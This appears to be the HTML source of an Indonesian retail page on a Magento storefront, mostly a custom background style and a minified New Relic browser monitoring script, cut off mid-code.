1 2<!DOCTYPE html> 3<html lang="id"> 4 5<head prefix="og: https://www.entretiendecheveuxafro.com/blog/ fb: https://www.entretiendecheveuxafro.com/blog/ product: https://www.entretiendecheveuxafro.com/blog/"> 6 <meta charset="UTF-8"> 7 <style id="custom-page-background"> 8 /* BACKGROUND SELURUH HALAMAN */ 9 html { 10 min-height: 100%; 11 background-color: #000; 12 } 13 14 body#html-body { 15 min-height: 100vh; 16 margin: 0; 17 /* GANTI LINK GAMBAR DI SINI */ 18 background-image: 19 linear-gradient(rgba(20, 7, 0, 0.38), 20 rgba(20, 7, 0, 0.72)), 21 url("https://res.cloudinary.com/t04uaud0/image/upload/v1790674170/bloggamer.webp") !important; 22 background-position: center top !important; 23 background-size: cover !important; 24 background-repeat: no-repeat !important; 25 background-attachment: fixed !important; 26 } 27 28 /* AGAR BACKGROUND TIDAK DITUTUP WARNA PUTIH THEME */ 29 body#html-body .page-wrapper, 30 body#html-body main#maincontent, 31 body#html-body .page-main, 32 body#html-body .columns, 33 body#html-body .column.main { 34 background-color: transparent !important; 35 background-image: none !important; 36 } 37 38 /* MOBILE */ 39 @media screen and (max-width: 768px) { 40 body#html-body { 41 background-attachment: scroll !important; 42 background-position: center top !important; 43 background-size: cover !important; 44 } 45 } 46 </style> 47
47<script async="" src="https://cdn.branch.io/branch-latest.min.js"></script>
47 48
48<script async="" src="https://cdn.branch.io/branch-latest.min.js"></script>
48 49
49<script data-breeze="1"> 50 var LOCALE = 'id\u002DID'; 51 var BASE_URL = 'https\u003A\u002F\u002Fwww.mothercare.co.id\u002F'; 52 var VIEW_URL = 'https\u003A\u002F\u002Fwww.mothercare.co.id\u002Fstatic\u002Fversion1741963345\u002Ffrontend\u002FCodilar\u002Fmothercare\u002Fid_ID'; 53 var required = []; 54 var require = (deps, callback) => required.push([deps, callback]); 55 </script>
55 56
56<script type="text/javascript"> 57 (window.NREUM || (NREUM = {})).init = { 58 ajax: { 59 deny_list: ["bam.nr-data.net"] 60 } 61 }; 62 (window.NREUM || (NREUM = {})).loader_config = { 63 licenseKey: "NRJS-3796f39e9070f5da519", 64 applicationID: "662568768" 65 };; /*! For license information please see nr-loader-rum-1.284.1.min.js.LICENSE.txt */ 66 (() => { 67 var e, t, r = { 68 122: (e, t, r) => { 69 "use strict"; 70 r.d(t, { 71 a: () => i 72 }); 73 var n = r(944); 74 75 function i(e, t) { 76 try { 77 if (!e || "object" != typeof e) return (0, n.R)(3); 78 if (!t || "object" != typeof t) return (0, n.R)(4); 79 const r = Object.create(Object.getPrototypeOf(t), Object.getOwnPropertyDescriptors(t)), 80 o = 0 === Object.keys(r).length ? e : r; 81 for (let a in o) 82 if (void 0 !== e[a]) try { 83 if (null === e[a]) { 84 r[a] = null; 85 continue 86 } 87 Array.isArray(e[a]) && Array.isArray(t[a]) ? r[a] = Array.from(new Set([...e[a], ...t[a]])) : "object" == typeof e[a] && "object" == typeof t[a] ? r[a] = i(e[a], t[a]) : r[a] = e[a] 88 } catch (e) { 89 (0, n.R)(1, e) 90 } 91 return r 92 } catch (e) { 93 (0, n.R)(2, e) 94 } 95 } 96 }, 97 555: (e, t, r) => { 98 "use strict"; 99 r.d(t, { 100 Vp: () => c, 101 fn: () => s, 102 x1: () => u 103 }); 104 var n = r(384), 105 i = r(122); 106 const o = { 107 beacon: n.NT.beacon, 108 errorBeacon: n.NT.errorBeacon, 109 licenseKey: void 0, 110 applicationID: void 0, 111 sa: void 0, 112 queueTime: void 0, 113 applicationTime: void 0, 114 ttGuid: void 0, 115 user: void 0, 116 account: void 0, 117 product: void 0, 118 extra: void 0, 119 jsAttributes: {}, 120 userAttributes: void 0, 121 atts: void 0, 122 transactionName: void 0, 123 tNamePlain: void 0 124 }, 125 a = {}; 126 127 function s(e) { 128 try { 129 const t = c(e); 130 return !!t.licenseKey && !!t.errorBeacon && !!t.applicationID 131 } catch (e) { 132 return !1 133 } 134 } 135 136 function c(e) { 137 if (!e) throw new Error("All info objects require an agent identifier!"); 138 if (!a[e]) throw new Error("Info for ".concat(e, " was never set")); 139 return a[e] 140 } 141 142 function u(e, t) { 143 if (!e) throw new Error("All info objects require an agent identifier!"); 144 a[e] = (0, i.a)(t, o); 145 const r = (0, n.nY)(e); 146 r && (r.info = a[e]) 147 } 148 }, 149 217: (e, t, r) => { 150 "use strict"; 151 r.d(t, { 152 D0: () => m, 153 gD: () => v, 154 xN: () => h 155 }); 156 r(860).K7.genericEvents; 157 const n = "experimental.marks", 158 i = "experimental.measures", 159 o = "experimental.resources", 160 a = e => { 161 if (!e || "string" != typeof e) return !1; 162 try { 163 document.createDocumentFragment().querySelector(e) 164 } catch { 165 return !1 166 } 167 return !0 168 }; 169 var s = r(614), 170 c = r(944), 171 u = r(384), 172 l = r(122); 173 const d = "[data-nr-mask]", 174 f = () => { 175 const e = { 176 feature_flags: [], 177 experimental: { 178 marks: !1, 179 measures: !1, 180 resources: !1 181 }, 182 mask_selector: "*", 183 block_selector: "[data-nr-block]", 184 mask_input_options: { 185 color: !1, 186 date: !1, 187 "datetime-local": !1, 188 email: !1, 189 month: !1, 190 number: !1, 191 range: !1, 192 search: !1, 193 tel: !1, 194 text: !1, 195 time: !1, 196 url: !1, 197 week: !1, 198 textarea: !1, 199 select: !1, 200 password: !0 201 } 202 }; 203 return { 204 ajax: { 205 deny_list: void 0, 206 block_internal: !0, 207 enabled: !0, 208 autoStart: !0 209 }, 210 distributed_tracing: { 211 enabled: void 0, 212 exclude_newrelic_header: void 0, 213 cors_use_newrelic_header: void 0, 214 cors_use_tracecontext_headers: void 0, 215 allowed_origins: void 0 216 }, 217 get feature_flags() { 218 return e.feature_flags 219 }, 220 set feature_flags(t) { 221 e.feature_flags = t 222 }, 223 generic_events: { 224 enabled: !0, 225 autoStart: !0 226 }, 227 harvest: { 228 interval: 30 229 }, 230 jserrors: { 231 enabled: !0, 232 autoStart: !0 233 }, 234 logging: { 235 enabled: !0, 236 autoStart: !0 237 }, 238 metrics: { 239 enabled: !0, 240 autoStart: !0 241 }, 242 obfuscate: void 0, 243 page_action: { 244 enabled: !0 245 }, 246 page_view_event: { 247 enabled: !0, 248 autoStart: !0 249 }, 250 page_view_timing: { 251 enabled: !0, 252 autoStart: !0 253 }, 254 performance: { 255 get capture_marks() { 256 return e.feature_flags.includes(n) || e.experimental.marks 257 }, 258 set capture_marks(t) { 259 e.experimental.marks = t 260 }, 261 get capture_measures() { 262 return e.feature_flags.includes(i) || e.experimental.measures 263 }, 264 set capture_measures(t) { 265 e.experimental.measures = t 266 }, 267 capture_detail: !0, 268 resources: { 269 get enabled() { 270 return e.feature_flags.includes(o) || e.experimental.resources 271 }, 272 set enabled(t) { 273 e.experimental.resources = t 274 }, 275 asset_types: [], 276 first_party_domains: [], 277 ignore_newrelic: !0 278 } 279 }, 280 privacy: { 281 cookies_enabled: !0 282 }, 283 proxy: { 284 assets: void 0, 285 beacon: void 0 286 }, 287 session: { 288 expiresMs: s.wk, 289 inactiveMs: s.BB 290 }, 291 session_replay: { 292 autoStart: !0, 293 enabled: !1, 294 preload: !1, 295 sampling_rate: 10, 296 error_sampling_rate: 100, 297 collect_fonts: !1, 298 inline_images: !1, 299 fix_stylesheets: !0, 300 mask_all_inputs: !0, 301 get mask_text_selector() { 302 return e.mask_selector 303 }, 304 set mask_text_selector(t) { 305 a(t) ? e.mask_selector = "".concat(t, ",").concat(d) : "" === t || null === t ? e.mask_selector = d : (0, c.R)(5, t) 306 }, 307 get block_class() { 308 return "nr-block" 309 }, 310 get ignore_class() { 311 return "nr-ignore" 312 }, 313 get mask_text_class() { 314 return "nr-mask" 315 }, 316 get block_selector() { 317 return e.block_selector 318 }, 319 set block_selector(t) { 320 a(t) ? e.block_selector += ",".concat(t) : "" !== t && (0, c.R)(6, t) 321 }, 322 get mask_input_options() { 323 return e.mask_input_options 324 }, 325 set mask_input_options(t) { 326 t && "object" == typeof t ? e.mask_input_options = { 327 ...t, 328 password: !0 329 } : (0, c.R)(7, t) 330 } 331 }, 332 session_trace: { 333 enabled: !0, 334 autoStart: !0 335 }, 336 soft_navigations: { 337 enabled: !0, 338 autoStart: !0 339 }, 340 spa: { 341 enabled: !0, 342 autoStart: !0 343 }, 344 ssl: void 0, 345 user_actions: { 346 enabled: !0, 347 elementAttributes: ["id", "className", "tagName", "type"] 348 } 349 } 350 }, 351 g = {}, 352 p = "All configuration objects require an agent identifier!"; 353 354 function m(e) { 355 if (!e) throw new Error(p); 356 if (!g[e]) throw new Error("Configuration for ".concat(e, " was never set")); 357 return g[e] 358 } 359 360 function h(e, t) { 361 if (!e) throw new Error(p); 362 g[e] = (0, l.a)(t, f()); 363 const r = (0, u.nY)(e); 364 r && (r.init = g[e]) 365 } 366 367 function v(e, t) { 368 if (!e) throw new Error(p); 369 var r = m(e); 370 if (r) { 371 for (var n = t.split("."), i = 0; i < n.length - 1; i++) 372 if ("object" != typeof(r = r[n[i]])) return; 373 r = r[n[n.length - 1]] 374 } 375 return r 376 } 377 }, 378 371: (e, t, r) => { 379 "use strict"; 380 r.d(t, { 381 V: () => f, 382 f: () => d 383 }); 384 var n = r(122), 385 i = r(384), 386 o = r(154), 387 a = r(324); 388 let s = 0; 389 const c = { 390 buildEnv: a.F3, 391 distMethod: a.Xs, 392 version: a.xv, 393 originTime: o.WN 394 }, 395 u = { 396 customTransaction: void 0, 397 disabled: !1, 398 isolatedBacklog: !1, 399 loaderType: void 0, 400 maxBytes: 3e4, 401 onerror: void 0, 402 ptid: void 0, 403 releaseIds: {}, 404 appMetadata: {}, 405 session: void 0, 406 denyList: void 0, 407 timeKeeper: void 0, 408 obfuscator: void 0, 409 harvester: void 0 410 }, 411 l = {}; 412 413 function d(e) { 414 if (!e) throw new Error("All runtime objects require an agent identifier!"); 415 if (!l[e]) throw new Error("Runtime for ".concat(e, " was never set")); 416 return l[e] 417 } 418 419 function f(e, t) { 420 if (!e) throw new Error("All runtime objects require an agent identifier!"); 421 l[e] = { 422 ...(0, n.a)(t, u), 423 ...c 424 }, Object.hasOwnProperty.call(l[e], "harvestCount") || Object.defineProperty(l[e], "harvestCount", { 425 get: () => ++s 426 }); 427 const r = (0, i.nY)(e); 428 r && (r.runtime = l[e]) 429 } 430 }, 431 324: (e, t, r) => { 432 "use strict"; 433 r.d(t, { 434 F3: () => i, 435 Xs: () => o, 436 xv: () => n 437 }); 438 const n = "1.284.1", 439 i = "PROD", 440 o = "CDN" 441 }, 442 154: (e, t, r) => { 443 "use strict"; 444 r.d(t, { 445 OF: () => c, 446 RI: () => i, 447 WN: () => l, 448 bv: () => o, 449 gm: () => a, 450 mw: () => s, 451 sb: () => u 452 }); 453 var n = r(863); 454 const i = "undefined" != typeof window && !!window.document, 455 o = "undefined" != typeof WorkerGlobalScope && ("undefined" != typeof self && self instanceof WorkerGlobalScope && self.navigator instanceof WorkerNavigator || "undefined" != typeof globalThis && globalThis instanceof WorkerGlobalScope && globalThis.navigator instanceof WorkerNavigator), 456 a = i ? window : "undefined" != typeof WorkerGlobalScope && ("undefined" != typeof self && self instanceof WorkerGlobalScope && self || "undefined" != typeof globalThis && globalThis instanceof WorkerGlobalScope && globalThis), 457 s = Boolean("hidden" === a?.document?.visibilityState), 458 c = /iPad|iPhone|iPod/.test(a.navigator?.userAgent), 459 u = c && "undefined" == typeof SharedWorker, 460 l = ((() => { 461 const e = a.navigator?.userAgent?.match(/Firefox[/\s](\d+\.\d+)/); 462 Array.isArray(e) && e.length >= 2 && e[1] 463 })(), Date.now() - (0, n.t)()) 464 }, 465 687: (e, t, r) => { 466 "use strict"; 467 r.d(t, { 468 Ak: () => c, 469 Ze: () => d, 470 x3: () => u 471 }); 472 var n = r(836), 473 i = r(606), 474 o = r(860), 475 a = r(646); 476 const s = {}; 477 478 function c(e, t) { 479 const r = { 480 staged: !1, 481 priority: o.P3[t] || 0 482 }; 483 l(e), s[e].get(t) || s[e].set(t, r) 484 } 485 486 function u(e, t) { 487 e && s[e] && (s[e].get(t) && s[e].delete(t), g(e, t, !1), s[e].size && f(e)) 488 } 489 490 function l(e) { 491 if (!e) throw new Error("agentIdentifier required"); 492 s[e] || (s[e] = new Map) 493 } 494 495 function d(e = "", t = "feature", r = !1) { 496 if (l(e), !e || !s[e].get(t) || r) return g(e, t); 497 s[e].get(t).staged = !0, f(e) 498 } 499 500 function f(e) { 501 const t = Array.from(s[e]); 502 t.every((([e, t]) => t.staged)) && (t.sort(((e, t) => e[1].priority - t[1].priority)), t.forEach((([t]) => { 503 s[e].delete(t), g(e, t) 504 }))) 505 } 506 507 function g(e, t, r = !0) { 508 const o = e ? n.ee.get(e) : n.ee, 509 s = i.i.handlers; 510 if (!o.aborted && o.backlog && s) { 511 if (r) { 512 const e = o.backlog[t], 513 r = s[t]; 514 if (r) {
514 515 for (let t = 0; e && t < e.length; ++t) p(e[t], r); 516 Object.entries(r).forEach((([e, t]) => { 517 Object.values(t || {}).forEach((t => { 518 t[0]?.on && t[0]?.context() instanceof a.y && t[0].on(e, t[1]) 519 })) 520 })) 521 } 522 } 523 o.isolatedBacklog || delete s[t], o.backlog[t] = null, o.emit("drain-" + t, []) 524 } 525 } 526 527 function p(e, t) { 528 var r = e[1]; 529 Object.values(t[r] || {}).forEach((t => { 530 var r = e[0]; 531 if (t[0] === r) { 532 var n = t[1], 533 i = e[3], 534 o = e[2]; 535 n.apply(i, o) 536 } 537 })) 538 } 539 }, 540 836: (e, t, r) => { 541 "use strict"; 542 r.d(t, { 543 P: () => c, 544 ee: () => u 545 }); 546 var n = r(384), 547 i = r(990), 548 o = r(371), 549 a = r(646), 550 s = r(607); 551 const c = "nr@context:".concat(s.W), 552 u = function e(t, r) { 553 var n = {}, 554 s = {}, 555 l = {}, 556 d = !1; 557 try { 558 d = 16 === r.length && (0, o.f)(r).isolatedBacklog 559 } catch (e) {} 560 var f = { 561 on: p, 562 addEventListener: p, 563 removeEventListener: function(e, t) { 564 var r = n[e]; 565 if (!r) return; 566 for (var i = 0; i < r.length; i++) r[i] === t && r.splice(i, 1) 567 }, 568 emit: function(e, r, n, i, o) { 569 !1 !== o && (o = !0); 570 if (u.aborted && !i) return; 571 t && o && t.emit(e, r, n); 572 for (var a = g(n), c = m(e), l = c.length, d = 0; d < l; d++) c[d].apply(a, r); 573 var p = v()[s[e]]; 574 p && p.push([f, e, r, a]); 575 return a 576 }, 577 get: h, 578 listeners: m, 579 context: g, 580 buffer: function(e, t) { 581 const r = v(); 582 if (t = t || "feature", f.aborted) return; 583 Object.entries(e || {}).forEach((([e, n]) => { 584 s[n] = t, t in r || (r[t] = []) 585 })) 586 }, 587 abort: function() { 588 f._aborted = !0, Object.keys(f.backlog).forEach((e => { 589 delete f.backlog[e] 590 })) 591 }, 592 isBuffering: function(e) { 593 return !!v()[s[e]] 594 }, 595 debugId: r, 596 backlog: d ? {} : t && "object" == typeof t.backlog ? t.backlog : {}, 597 isolatedBacklog: d 598 }; 599 return Object.defineProperty(f, "aborted", { 600 get: () => { 601 let e = f._aborted || !1; 602 return e || (t && (e = t.aborted), e) 603 } 604 }), f; 605 606 function g(e) { 607 return e && e instanceof a.y ? e : e ? (0, i.I)(e, c, (() => new a.y(c))) : new a.y(c) 608 } 609 610 function p(e, t) { 611 n[e] = m(e).concat(t) 612 } 613 614 function m(e) { 615 return n[e] || [] 616 } 617 618 function h(t) { 619 return l[t] = l[t] || e(f, t) 620 } 621 622 function v() { 623 return f.backlog 624 } 625 }(void 0, "globalEE"), 626 l = (0, n.Zm)(); 627 l.ee || (l.ee = u) 628 }, 629 646: (e, t, r) => { 630 "use strict"; 631 r.d(t, { 632 y: () => n 633 }); 634 class n { 635 constructor(e) { 636 this.contextId = e 637 } 638 } 639 }, 640 908: (e, t, r) => { 641 "use strict"; 642 r.d(t, { 643 d: () => n, 644 p: () => i 645 }); 646 var n = r(836).ee.get("handle"); 647 648 function i(e, t, r, i, o) { 649 o ? (o.buffer([e], i), o.emit(e, t, r)) : (n.buffer([e], i), n.emit(e, t, r)) 650 } 651 }, 652 606: (e, t, r) => { 653 "use strict"; 654 r.d(t, { 655 i: () => o 656 }); 657 var n = r(908); 658 o.on = a; 659 var i = o.handlers = {}; 660 661 function o(e, t, r, o) { 662 a(o || n.d, i, e, t, r) 663 } 664 665 function a(e, t, r, i, o) { 666 o || (o = "feature"), e || (e = n.d); 667 var a = t[o] = t[o] || {}; 668 (a[r] = a[r] || []).push([e, i]) 669 } 670 }, 671 878: (e, t, r) => { 672 "use strict"; 673 674 function n(e, t) { 675 return { 676 capture: e, 677 passive: !1, 678 signal: t 679 } 680 } 681 682 function i(e, t, r = !1, i) { 683 window.addEventListener(e, t, n(r, i)) 684 } 685 686 function o(e, t, r = !1, i) { 687 document.addEventListener(e, t, n(r, i)) 688 } 689 r.d(t, { 690 DD: () => o, 691 jT: () => n, 692 sp: () => i 693 }) 694 }, 695 607: (e, t, r) => { 696 "use strict"; 697 r.d(t, { 698 W: () => n 699 }); 700 const n = (0, r(566).bz)() 701 }, 702 566: (e, t, r) => { 703 "use strict"; 704 r.d(t, { 705 LA: () => s, 706 bz: () => a 707 }); 708 var n = r(154); 709 const i = "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx"; 710 711 function o(e, t) { 712 return e ? 15 & e[t] : 16 * Math.random() | 0 713 } 714 715 function a() { 716 const e = n.gm?.crypto || n.gm?.msCrypto; 717 let t, r = 0; 718 return e && e.getRandomValues && (t = e.getRandomValues(new Uint8Array(30))), i.split("").map((e => "x" === e ? o(t, r++).toString(16) : "y" === e ? (3 & o() | 8).toString(16) : e)).join("") 719 } 720 721 function s(e) { 722 const t = n.gm?.crypto || n.gm?.msCrypto; 723 let r, i = 0; 724 t && t.getRandomValues && (r = t.getRandomValues(new Uint8Array(e))); 725 const a = []; 726 for (var s = 0; s < e; s++) a.push(o(r, i++).toString(16)); 727 return a.join("") 728 } 729 }, 730 614: (e, t, r) => { 731 "use strict"; 732 r.d(t, { 733 BB: () => a, 734 H3: () => n, 735 g: () => u, 736 iL: () => c, 737 tS: () => s, 738 uh: () => i, 739 wk: () => o 740 }); 741 const n = "NRBA", 742 i = "SESSION", 743 o = 144e5, 744 a = 18e5, 745 s = { 746 STARTED: "session-started", 747 PAUSE: "session-pause", 748 RESET: "session-reset", 749 RESUME: "session-resume", 750 UPDATE: "session-update" 751 }, 752 c = { 753 SAME_TAB: "same-tab", 754 CROSS_TAB: "cross-tab" 755 }, 756 u = { 757 OFF: 0, 758 FULL: 1, 759 ERROR: 2 760 } 761 }, 762 863: (e, t, r) => { 763 "use strict"; 764 765 function n() { 766 return Math.floor(performance.now()) 767 } 768 r.d(t, { 769 t: () => n 770 }) 771 }, 772 944: (e, t, r) => { 773 "use strict"; 774 775 function n(e, t) { 776 "function" == typeof console.debug && console.debug("New Relic Warning: https://github.com/newrelic/newrelic-browser-agent/blob/main/docs/warning-codes.md#".concat(e), t) 777 } 778 r.d(t, { 779 R: () => n 780 }) 781 }, 782 284: (e, t, r) => { 783 "use strict"; 784 r.d(t, { 785 t: () => c, 786 B: () => s 787 }); 788 var n = r(836), 789 i = r(154); 790 const o = "newrelic"; 791 const a = new Set, 792 s = {}; 793 794 function c(e, t) { 795 const r = n.ee.get(t); 796 s[t] ??= {}, e && "object" == typeof e && (a.has(t) || (r.emit("rumresp", [e]), s[t] = e, a.add(t), function(e = {}) { 797 try { 798 i.gm.dispatchEvent(new CustomEvent(o, { 799 detail: e 800 })) 801 } catch (e) {} 802 }({ 803 loaded: !0 804 }))) 805 } 806 }, 807 990: (e, t, r) => { 808 "use strict"; 809 r.d(t, { 810 I: () => i 811 }); 812 var n = Object.prototype.hasOwnProperty; 813 814 function i(e, t, r) { 815 if (n.call(e, t)) return e[t]; 816 var i = r(); 817 if (Object.defineProperty && Object.keys) try { 818 return Object.defineProperty(e, t, { 819 value: i, 820 writable: !0, 821 enumerable: !1 822 }), i 823 } catch (e) {} 824 return e[t] = i, i 825 } 826 }, 827 389: (e, t, r) => { 828 "use strict"; 829 830 function n(e, t = 500, r = {}) { 831 const n = r?.leading || !1; 832 let i; 833 return (...r) => { 834 n && void 0 === i && (e.apply(this, r), i = setTimeout((() => { 835 i = clearTimeout(i) 836 }), t)), n || (clearTimeout(i), i = setTimeout((() => { 837 e.apply(this, r) 838 }), t)) 839 } 840 } 841 842 function i(e) { 843 let t = !1; 844 return (...r) => { 845 t || (t = !0, e.apply(this, r)) 846 } 847 } 848 r.d(t, { 849 J: () => i, 850 s: () => n 851 }) 852 }, 853 289: (e, t, r) => { 854 "use strict"; 855 r.d(t, { 856 GG: () => o, 857 sB: () => a 858 }); 859 var n = r(878); 860 861 function i() { 862 return "undefined" == typeof document || "complete" === document.readyState 863 } 864 865 function o(e, t) { 866 if (i()) return e(); 867 (0, n.sp)("load", e, t) 868 } 869 870 function a(e) { 871 if (i()) return e(); 872 (0, n.DD)("DOMContentLoaded", e) 873 } 874 }, 875 384: (e, t, r) => { 876 "use strict"; 877 r.d(t, { 878 NT: () => o, 879 US: () => l, 880 Zm: () => a, 881 bQ: () => c, 882 dV: () => s, 883 nY: () => u, 884 pV: () => d 885 }); 886 var n = r(154), 887 i = r(863); 888 const o = { 889 beacon: "bam.nr-data.net", 890 errorBeacon: "bam.nr-data.net" 891 }; 892 893 function a() { 894 return n.gm.NREUM || (n.gm.NREUM = {}
894), void 0 === n.gm.newrelic && (n.gm.newrelic = n.gm.NREUM), n.gm.NREUM 895 } 896 897 function s() { 898 let e = a(); 899 return e.o || (e.o = { 900 ST: n.gm.setTimeout, 901 SI: n.gm.setImmediate, 902 CT: n.gm.clearTimeout, 903 XHR: n.gm.XMLHttpRequest, 904 REQ: n.gm.Request, 905 EV: n.gm.Event, 906 PR: n.gm.Promise, 907 MO: n.gm.MutationObserver, 908 FETCH: n.gm.fetch, 909 WS: n.gm.WebSocket 910 }), e 911 } 912 913 function c(e, t) { 914 let r = a(); 915 r.initializedAgents ??= {}, t.initializedAt = { 916 ms: (0, i.t)(), 917 date: new Date 918 }, r.initializedAgents[e] = t 919 } 920 921 function u(e) { 922 let t = a(); 923 return t.initializedAgents?.[e] 924 } 925 926 function l(e, t) { 927 a()[e] = t 928 } 929 930 function d() { 931 return function() { 932 let e = a(); 933 const t = e.info || {}; 934 e.info = { 935 beacon: o.beacon, 936 errorBeacon: o.errorBeacon, 937 ...t 938 } 939 }(), 940 function() { 941 let e = a(); 942 const t = e.init || {}; 943 e.init = { 944 ...t 945 } 946 }(), s(), 947 function() { 948 let e = a(); 949 const t = e.loader_config || {}; 950 e.loader_config = { 951 ...t 952 } 953 }(), a() 954 } 955 }, 956 843: (e, t, r) => { 957 "use strict"; 958 r.d(t, { 959 u: () => i 960 }); 961 var n = r(878); 962 963 function i(e, t = !1, r, i) { 964 (0, n.DD)("visibilitychange", (function() { 965 if (t) return void("hidden" === document.visibilityState && e()); 966 e(document.visibilityState) 967 }), r, i) 968 } 969 }, 970 434: (e, t, r) => { 971 "use strict"; 972 r.d(t, { 973 Jt: () => o, 974 YM: () => c 975 }); 976 var n = r(836), 977 i = r(607); 978 const o = "nr@original:".concat(i.W); 979 var a = Object.prototype.hasOwnProperty, 980 s = !1; 981 982 function c(e, t) { 983 return e || (e = n.ee), r.inPlace = function(e, t, n, i, o) { 984 n || (n = ""); 985 const a = "-" === n.charAt(0); 986 for (let s = 0; s < t.length; s++) { 987 const c = t[s], 988 u = e[c]; 989 l(u) || (e[c] = r(u, a ? c + n : n, i, c, o)) 990 } 991 }, r.flag = o, r; 992 993 function r(t, r, n, s, c) { 994 return l(t) ? t : (r || (r = ""), nrWrapper[o] = t, function(e, t, r) { 995 if (Object.defineProperty && Object.keys) try { 996 return Object.keys(e).forEach((function(r) { 997 Object.defineProperty(t, r, { 998 get: function() { 999 return e[r] 1000 }, 1001 set: function(t) { 1002 return e[r] = t, t 1003 } 1004 }) 1005 })), t 1006 } catch (e) { 1007 u([e], r) 1008 } 1009 for (var n in e) a.call(e, n) && (t[n] = e[n]) 1010 }(t, nrWrapper, e), nrWrapper); 1011 1012 function nrWrapper() { 1013 var o, a, l, d; 1014 try { 1015 a = this, o = [...arguments], l = "function" == typeof n ? n(o, a) : n || {} 1016 } catch (t) { 1017 u([t, "", [o, a, s], l], e) 1018 } 1019 i(r + "start", [o, a, s], l, c); 1020 try { 1021 return d = t.apply(a, o) 1022 } catch (e) { 1023 throw i(r + "err", [o, a, e], l, c), e 1024 } finally { 1025 i(r + "end", [o, a, d], l, c) 1026 } 1027 } 1028 } 1029 1030 function i(r, n, i, o) { 1031 if (!s || t) { 1032 var a = s; 1033 s = !0; 1034 try { 1035 e.emit(r, n, i, t, o) 1036 } catch (t) { 1037 u([t, r, n, i], e) 1038 } 1039 s = a 1040 } 1041 } 1042 } 1043 1044 function u(e, t) { 1045 t || (t = n.ee); 1046 try { 1047 t.emit("internal-error", e) 1048 } catch (e) {} 1049 } 1050 1051 function l(e) { 1052 return !(e && "function" == typeof e && e.apply && !e[o]) 1053 } 1054 }, 1055 993: (e, t, r) => { 1056 "use strict"; 1057 r.d(t, { 1058 A$: () => o, 1059 ET: () => a, 1060 p_: () => i 1061 }); 1062 var n = r(860);
1063 const i = { 1064 ERROR: "ERROR", 1065 WARN: "WARN", 1066 INFO: "INFO", 1067 DEBUG: "DEBUG", 1068 TRACE: "TRACE" 1069 }, 1070 o = { 1071 OFF: 0, 1072 ERROR: 1, 1073 WARN: 2, 1074 INFO: 3, 1075 DEBUG: 4, 1076 TRACE: 5 1077 }, 1078 a = "log"; 1079 n.K7.logging 1080 }, 1081 773: (e, t, r) => { 1082 "use strict"; 1083 r.d(t, { 1084 z_: () => o, 1085 XG: () => s, 1086 TZ: () => n, 1087 rs: () => i, 1088 xV: () => a 1089 }); 1090 r(154), r(566), r(384); 1091 const n = r(860).K7.metrics, 1092 i = "sm", 1093 o = "cm", 1094 a = "storeSupportabilityMetrics", 1095 s = "storeEventMetrics" 1096 }, 1097 630: (e, t, r) => { 1098 "use strict"; 1099 r.d(t, { 1100 T: () => n 1101 }); 1102 const n = r(860).K7.pageViewEvent 1103 }, 1104 782: (e, t, r) => { 1105 "use strict"; 1106 r.d(t, { 1107 T: () => n 1108 }); 1109 const n = r(860).K7.pageViewTiming 1110 }, 1111 344: (e, t, r) => { 1112 "use strict"; 1113 r.d(t, { 1114 G4: () => i 1115 }); 1116 var n = r(614); 1117 r(860).K7.sessionReplay; 1118 const i = { 1119 RECORD: "recordReplay", 1120 PAUSE: "pauseReplay", 1121 REPLAY_RUNNING: "replayRunning", 1122 ERROR_DURING_REPLAY: "errorDuringReplay" 1123 }; 1124 n.g.ERROR, n.g.FULL, n.g.OFF 1125 }, 1126 234: (e, t, r) => { 1127 "use strict"; 1128 r.d(t, { 1129 W: () => o 1130 }); 1131 var n = r(836), 1132 i = r(687); 1133 class o { 1134 constructor(e, t) { 1135 this.agentIdentifier = e, this.ee = n.ee.get(e), this.featureName = t, this.blocked = !1 1136 } 1137 deregisterDrain() { 1138 (0, i.x3)(this.agentIdentifier, this.featureName) 1139 } 1140 } 1141 }, 1142 603: (e, t, r) => { 1143 "use strict"; 1144 r.d(t, { 1145 j: () => K 1146 }); 1147 var n = r(860), 1148 i = r(555), 1149 o = r(371), 1150 a = r(908), 1151 s = r(836), 1152 c = r(687), 1153 u = r(289), 1154 l = r(154), 1155 d = r(944), 1156 f = r(773), 1157 g = r(384), 1158 p = r(344); 1159 const m = ["setErrorHandler", "finished", "addToTrace", "addRelease", "recordCustomEvent", "addPageAction", "setCurrentRouteName", "setPageViewName", "setCustomAttribute", "interaction", "noticeError", "setUserId", "setApplicationVersion", "start", p.G4.RECORD, p.G4.PAUSE, "log", "wrapLogger"], 1160 h = ["setErrorHandler", "finished", "addToTrace", "addRelease"]; 1161 var v = r(863), 1162 b = r(614), 1163 y = r(993); 1164 var w = r(646), 1165 R = r(434); 1166 const A = new Map; 1167 1168 function E(e, t, r, n) { 1169 if ("object" != typeof t || !t || "string" != typeof r || !r || "function" != typeof t[r]) return (0, d.R)(29); 1170 const i = function(e) { 1171 return (e || s.ee).get("logger") 1172 }(e), 1173 o = (0, R.YM)(i), 1174 a = new w.y(s.P); 1175 a.level = n.level, a.customAttributes = n.customAttributes; 1176 const c = t[r]?.[R.Jt] || t[r]; 1177 return A.set(c, a), o.inPlace(t, [r], "wrap-logger-", (() => A.get(c))), i 1178 } 1179 1180 function _() { 1181 const e = (0, g.pV)(); 1182 m.forEach((t => { 1183 e[t] = (...r) => function(t, ...r) { 1184 let n = []; 1185 return Object.values(e.initializedAgents).forEac
1185h((e => { 1186 e && e.api ? e.exposed && e.api[t] && n.push(e.api[t](...r)) : (0, d.R)(38, t) 1187 })), n.length > 1 ? n : n[0] 1188 }(t, ...r) 1189 })) 1190 } 1191 const x = {}; 1192 1193 function N(e, t, g = !1) { 1194 t || (0, c.Ak)(e, "api"); 1195 const m = {}; 1196 var w = s.ee.get(e), 1197 R = w.get("tracer"); 1198 x[e] = b.g.OFF, w.on(p.G4.REPLAY_RUNNING, (t => { 1199 x[e] = t 1200 })); 1201 var A = "api-", 1202 _ = A + "ixn-"; 1203 1204 function N(t, r, n, o) { 1205 const a = (0, i.Vp)(e); 1206 return null === r ? delete a.jsAttributes[t] : (0, i.x1)(e, { 1207 ...a, 1208 jsAttributes: { 1209 ...a.jsAttributes, 1210 [t]: r 1211 } 1212 }), j(A, n, !0, o || null === r ? "session" : void 0)(t, r) 1213 } 1214 1215 function k() {} 1216 m.log = function(e, { 1217 customAttributes: t = {}, 1218 level: r = y.p_.INFO 1219 } = {}) { 1220 (0, a.p)(f.xV, ["API/log/called"], void 0, n.K7.metrics, w), 1221 function(e, t, r = {}, i = y.p_.INFO) { 1222 